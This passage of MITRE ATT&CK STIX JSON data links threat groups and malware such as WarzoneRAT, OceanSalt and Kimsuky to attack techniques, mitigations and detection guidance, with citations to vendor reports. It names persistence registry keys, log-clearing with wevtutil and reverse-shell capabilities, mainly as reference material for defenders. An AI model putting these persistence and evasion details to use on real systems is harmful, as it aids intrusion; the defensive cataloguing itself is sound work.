"relationship--0efa0a7a-545d-49e2-b0c4-0e251226404a", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments", "description": "Symantec Security Response. (2017, November 7). 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The actors also searched for documents based on a specific date range and attempted to identify all installed software on a victim.(Citation: Symantec Sowbug Nov 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0efb0490-9935-4d51-8b2f-974e090bbc10", "type": "relationship", "created": "2021-10-01T20:57:16.372Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Volexity InkySquid BLUELIGHT August 2021", "url": "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/", "description": "Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. 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Retrieved September 30, 2021."}], "modified": "2021-10-15T16:54:01.563Z", "description": "[BLUELIGHT](https://attack.mitre.org/software/S0657) can collect the username on a compromised host.(Citation: Volexity InkySquid BLUELIGHT August 2021)", "relationship_type": "uses", "source_ref": "malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0efc2bef-9227-4af2-b73b-bfa61a3073aa", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/", "description": "Schwarz, D., Sopko J. (2018, March 08). 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Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.380Z", "description": "[down_new](https://attack.mitre.org/software/S0472) has the ability to download files to the compromised host.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "malware--8be7c69e-d8e3-4970-9668-61de08e508cc", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--0f022198-8fdd-4b6e-8f44-d47ca6ee8d9b", "created": "2022-03-30T14:26:51.844Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Elastic - Koadiac Detection with EQL", "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql", "description": "Stepanic, D.. (2020, January 13). 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Retrieved November 30, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for processes that can be used to enumerate domain accounts and groups, such as <code>net.exe</code> and <code>net1.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)\n\u00a0\nInformation may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.", "modified": "2022-04-14T15:03:11.383Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--0f04aa6c-82ac-4364-82a0-dda896cffafd", "created": "2022-04-18T16:58:07.051Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "dhcp_serv_op_events", "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)", "description": "Microsoft. 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Retrieved February 5, 2019."}], "modified": "2021-09-29T13:32:43.801Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used the Nirsoft SniffPass network sniffer to obtain passwords sent over non-secure protocols.(Citation: CISA AA20-301A Kimsuky)(Citation: Netscout Stolen Pencil Dec 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0f38f2dd-e2cf-4571-bb6c-065e50412bac", "created": "2023-01-26T16:39:24.446Z", "revoked": false, "external_references": [{"source_name": "Mandiant APT41", "description": "Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. 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Retrieved December 4, 2020."}], "modified": "2020-12-07T19:39:17.343Z", "description": "[Crutch](https://attack.mitre.org/software/S0538) can use Dropbox to receive commands and upload stolen data.(Citation: ESET Crutch December 2020)", "relationship_type": "uses", "source_ref": "malware--925a6c52-5cf0-4fec-99de-b0d6917d8593", "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0f3af4de-b1cc-4cc2-9eb7-9aa46cdebfcd", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf", "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. 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(2022, June 9). Lyceum .NET DNS Backdoor. Retrieved June 23, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[DnsSystem](https://attack.mitre.org/software/S1021) can Base64 encode data sent to C2.(Citation: Zscaler Lyceum DnsSystem June 2022)", "modified": "2022-06-24T14:58:08.209Z", "relationship_type": "uses", "source_ref": "malware--8a2867f9-e8fc-4bf1-a860-ef6e46311900", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0f42474f-27d5-4939-8f18-348b8d09a9b6", "type": "relationship", "created": "2021-09-24T17:45:16.588Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group WastedLocker June 2020", "url": "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", "description": "Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."}], "modified": "2021-09-24T17:45:16.588Z", "description": "[WastedLocker](https://attack.mitre.org/software/S0612) created and established a service that runs until the encryption process is complete.(Citation: NCC Group WastedLocker June 2020) ", "relationship_type": "uses", "source_ref": "malware--46cbafbc-8907-42d3-9002-5327c26f8927", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0f43dcda-56ff-4ac2-b79a-82b09a90944f", "type": "relationship", "created": "2022-03-24T19:39:24.717Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub SILENTTRINITY Modules July 2019", "url": "https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo", "description": "Salvati, M. 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Retrieved November 13, 2018."}], "modified": "2019-04-23T21:09:54.686Z", "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) has a feature to perform screen capture.(Citation: Zscaler Cobian Aug 2017)", "relationship_type": "uses", "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0f66681a-7daf-4cd7-99af-3005b6586306", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/", "description": "Sherstobitoff, R., Saavedra-Morales, J. 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Retrieved December 17, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[WarzoneRAT](https://attack.mitre.org/software/S0670) can add itself to the `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` and `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UIF2IS20VK` Registry keys.(Citation: Check Point Warzone Feb 2020)", "modified": "2022-04-07T17:03:17.631Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--fde19a18-e502-467f-be14-58c71b4e7f4b", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0f9283d3-3b13-47ca-9757-7a7739738356", "type": "relationship", "created": "2020-03-28T01:37:57.431Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-17T17:53:50.893Z", "description": "Limit access to network infrastructure and resources that can be used to reshape traffic or otherwise produce AiTM conditions.", "relationship_type": "mitigates", "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", "target_ref": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0f93a49a-11c8-49d8-9b58-e7136e6bc850", "created": "2020-05-22T18:06:30.013Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "BitDefender Chafer May 2020", "description": "Rusu, B. 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(2014, November 18). Application Whitelisting:  Panacea or Propaganda?. Retrieved November 18, 2014."}, {"source_name": "Microsoft Windows Defender Application Control", "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control", "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019."}, {"url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html", "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", "source_name": "Windows Commands JPCERT"}, {"url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. 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(2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Meteor](https://attack.mitre.org/software/S0688) can use [Wevtutil](https://attack.mitre.org/software/S0645) to remove Security, System and Application Event Viewer logs.(Citation: Check Point Meteor Aug 2021)", "modified": "2022-04-09T15:00:09.038Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0", "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0fae3830-5845-414a-8429-b95745b3db32", "type": "relationship", "created": "2021-09-30T14:30:23.133Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky QakBot September 2021", "url": "https://securelist.com/qakbot-technical-analysis/103931/", "description": "Kuzmenko, A. et al. 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Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-23T20:14:29.969Z", "description": "[FunnyDream](https://attack.mitre.org/software/S1044) can use WMI to open a Windows command shell on a remote machine.(Citation: Bitdefender FunnyDream Campaign November 2020)", "relationship_type": "uses", "source_ref": "malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--0fc4c1db-001c-4b17-82c9-c55319a26534", "created": "2022-06-01T21:31:46.657Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Forcepoint BITTER Pakistan Oct 2016", "url": "https://www.forcepoint.com/blog/x-labs/bitter-targeted-attack-against-pakistan", "description": "Dela Paz, R. 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Retrieved June 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[BITTER](https://attack.mitre.org/groups/G1002) has used HTTP POST requests for C2.(Citation: Cisco Talos Bitter Bangladesh May 2022)(Citation: Forcepoint BITTER Pakistan Oct 2016)", "modified": "2022-07-15T21:14:14.712Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0fc95a6b-296f-41ab-8663-aea4a80afe0a", "type": "relationship", "created": "2020-03-26T18:45:03.794Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-27T19:55:18.775Z", "description": "Adversaries may use new payloads to execute this technique. Identify and block potentially malicious software executed through hijacking by using application control solutions also capable of blocking libraries loaded by legitimate software.", "relationship_type": "mitigates", "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", "target_ref": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0fc9f4b4-c465-46cf-815d-65023ae1d561", "type": "relationship", "created": "2022-03-30T14:26:51.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.867Z", "description": "Monitor Registry creation for services that may start on safe mode. For example, a program can be forced to start on safe mode boot by adding a <code>\\*</code> in front of the \"Startup\" value name: <code>HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\[\"\\*Startup\"=\"{Path}\"]</code> or by adding a key to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Minimal</code>.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019)", "source_ref": "x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129", "target_ref": "attack-pattern--28170e17-8384-415c-8486-2e6b294cb803", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "BleepingComputer REvil 2021", "description": "Abrams, L. (2021, March 19). REvil ransomware has a new \u2018Windows Safe Mode\u2019 encryption mode. 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Retrieved September 16, 2019."}], "modified": "2019-09-16T19:41:10.250Z", "description": "[More_eggs](https://attack.mitre.org/software/S0284) has the capability to gather the OS version and computer name.(Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)", "relationship_type": "uses", "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1010f466-818d-4387-9e43-9ae5e9bf9a40", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Morphisec Cobalt Gang Oct 2018", "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.", "url": "https://blog.morphisec.com/cobalt-gang-2.0"}, {"source_name": "Talos Cobalt Group July 2018", "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-22T03:29:03.959Z", "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) obfuscated several scriptlets and code used on the victim\u2019s machine, including through use of XOR and RC4.(Citation: Talos Cobalt Group July 2018)(Citation: Morphisec Cobalt Gang Oct 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", "target_ref": "attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1016e15c-64ed-4338-9ca9-83ffae3beb82", "type": "relationship", "created": "2020-02-21T21:42:07.090Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-18T12:23:46.729Z", "description": "Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process. ", "relationship_type": "mitigates", "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", "target_ref": "attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--101867a2-149c-4088-a90f-7af4b86e5013", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf", "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", "source_name": "ESET Sednit Part 2"}], "modified": "2019-05-14T17:10:21.817Z", "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) can switch to a new C2 channel if the current one is broken.(Citation: ESET Sednit Part 2)", "relationship_type": "uses", "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1023acea-b162-406d-a40d-201fc005d5ad", "type": "relationship", "created": "2021-03-25T13:53:09.048Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Google Election Threats October 2020", "url": "https://blog.google/threat-analysis-group/how-were-tackling-evolving-online-threats/", "description": "Huntley, S. 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Service accounts should only be accessible from IP addresses from within the cloud environment.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022) For example, in Azure AD environments, consider using Identity Protection to flag risky sign-ins based on location, device compliance, and other factors. In Okta environments, configure Suspicious Activity Reporting to allow users to report suspicious logins and other behavior they do not recognize.(Citation: Okta Cross-Tenant Impersonation)", "relationship_type": "detects", "source_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", "target_ref": "attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--102849c0-0ed7-4e85-9d0b-791bcb7ef7ab", "type": "relationship", "created": "2020-06-01T14:41:54.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint TA505 October 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}, {"source_name": "IBM TA505 April 2020", "url": "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/", "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}], "modified": "2020-06-01T16:11:40.376Z", "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to decrypt and decompress its payload to enable code execution.(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)", "relationship_type": "uses", "source_ref": "malware--92b03a94-7147-4952-9d5a-b4d24da7487c", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1029fab5-5714-42d0-ac04-78f4c76c3c02", "type": "relationship", "created": "2021-01-25T13:58:25.232Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CyberBit Dtrack", "url": "https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/", "description": "Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}], "modified": "2021-03-12T21:10:53.130Z", "description": "[Dtrack](https://attack.mitre.org/software/S0567) can collect a variety of information from victim machines.(Citation: CyberBit Dtrack)", "relationship_type": "uses", "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--102d7613-aabc-4d54-b0fe-88501924da86", "type": "relationship", "created": "2019-01-30T15:43:19.423Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf", "source_name": "McAfee Oceansalt Oct 2018"}, {"description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf", "source_name": "McAfee Oceansalt Oct 2018"}], "modified": "2020-03-20T01:50:23.361Z", "description": "[OceanSalt](https://attack.mitre.org/software/S0346) can create a reverse shell on the infected endpoint using cmd.exe.(Citation: McAfee Oceansalt Oct 2018) [OceanSalt](https://attack.mitre.org/software/S0346) has been executed via malicious macros.(Citation: McAfee Oceansalt Oct 2018)", "relationship_type": "uses", "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--102ece09-4129-4662-b05c-243709cd7d1d", "type": "relationship", "created": "2021-04-06T12:22:23.771Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Aqua Kinsing April 2020", "url": "https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability", "description": "Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."}], "modified": "2021-04-06T12:22:23.771Z", "description": "[Kinsing](https://attack.mitre.org/software/S0599) was run through a deployed Ubuntu container.(Citation: Aqua Kinsing April 2020)", "relationship_type": "uses", "source_ref": "malware--d6e55656-e43f-411f-a7af-45df650471c5", "target_ref": "attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--103489a6-af80-4d4d-8aa7-ca973713e8da", "type": "relationship", "created": "2021-12-07T14:46:10.667Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TA18-074A", "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"}], "modified": "2021-12-07T14:46:10.667Z", "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has commonly created Web shells on victims' publicly accessible email and web servers, which they used to maintain access to a victim network and download additional malicious files.(Citation: US-CERT TA18-074A)", "relationship_type": "uses", "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1035fe41-56b9-4966-bf3b-109ae950c908", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto MoonWind March 2017", "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}], "modified": "2020-03-16T17:16:53.513Z", "description": "[MoonWind](https://attack.mitre.org/software/S0149) has a command to return a list of running 